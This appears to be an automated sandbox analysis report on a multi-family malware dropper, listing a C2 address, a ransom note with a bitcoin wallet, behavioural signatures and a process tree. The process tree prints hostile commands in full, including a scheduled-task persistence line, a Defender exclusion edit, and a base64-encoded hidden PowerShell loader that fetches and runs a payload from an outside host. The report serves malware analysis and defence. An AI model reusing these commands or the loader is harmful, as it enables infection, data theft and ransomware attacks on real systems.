Resubmissions
06/11/2026, 14:36
261106-rylrnaxz9r1004/11/2026, 21:57
261104-1txsssvwgz03/11/2026, 22:02
261103-1xxxzazy2l1003/11/2026, 21:57
261103-1t4lcawwes1003/11/2026, 21:50
261103-1p66nsfx2r1003/11/2026, 21:48
261103-1n9keazx5r1026/10/2026, 02:22
261026-ctm2lazv7j1024/10/2026, 06:44
261024-hhl8taxx2r23/10/2026, 16:14
261023-tpvpbatt6q1018/10/2026, 12:47
261018-p1by5acz5n10Analysis
- user interaction
yes - max time kernel
8s - max time network
807s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-ja - resource tags
- submitted
19/06/2026, 04:32
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260619-e5zwmsfs2v
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Family
-
supershell
C2
-
45.197.12.73:3232
Extracted
Path
-
C:\Users\Admin\AppData\Local\Temp\a\!Please Read Me!.txt
-
wannacry
Ransom Note
- Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �
Wallets
-
15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1
Signatures
- Family: Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Family: Wannacry
WannaCry is a ransomware cryptoworm.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect Neshta payload 1 IoCs
- Detect SalatStealer payload 7 IoCs
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Powershell Invoke Web Request.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 22 IoCs
- Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Sets file to hidden 1 TTPs 12 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 3 IoCs
- Indirect Command Execution 1 TTPs 10 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
- Loads dropped DLL 42 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Stops running service(s) 4 TTPs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Use of msiexec (install) with remote resource 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 1 IoCs
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- UPX packed file 31 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 13 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 22 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- System Time Discovery 1 TTPs 13 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Kills process with taskkill 13 IoCs
- Modifies registry key 1 TTPs 12 IoCs
- Modifies system certificate store 2 TTPs 4 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 9 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 16 IoCs
- Suspicious use of SendNotifyMessage 16 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 22 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Fluxus%20V7.exeFluxus%20V7.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\94b80123-b338-454e-b8df-1238c7835236\background.exe"C:\Users\Admin\AppData\Local\94b80123-b338-454e-b8df-1238c7835236\background.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe bestwishesfromthebetterplacescomingforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exesupport.client.exe3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe givemebestthingsforbetterplaceigiven.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodjobtodayreallyfinegoodhearthatcurrentilot.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp5.execlp5.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WindowsSvc.exe"C:\Users\Admin\AppData\Roaming\WindowsSvc.exe"4⤵
-
C:\Windows\explorer.exeexplorer.exe5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe goodthingsarebestbetterwayscomingforu.vbs3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe weneedbestsolutionsforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\crypted_build.execrypted_build.exe3⤵
-
C:\Windows\system32\notepad.exeC:\Windows\system32\notepad.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exes.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a\1.bat4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ThornFlash3Client.exeThornFlash3Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exetest.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kononiaZClient.exekononiaZClient.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2136,i,16786096270304686397,8725173459018434989,262144 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=2548 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=2604,i,17479198465311990924,2431371359042718324,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=2736,i,11389275756987418717,15527762572516680783,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4060,i,4957306846010800911,1029759697823556608,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=4068,i,16885166839063182323,8024009192846746620,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4388,i,12863715000664338571,18245072643680015098,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:15⤵
-
-
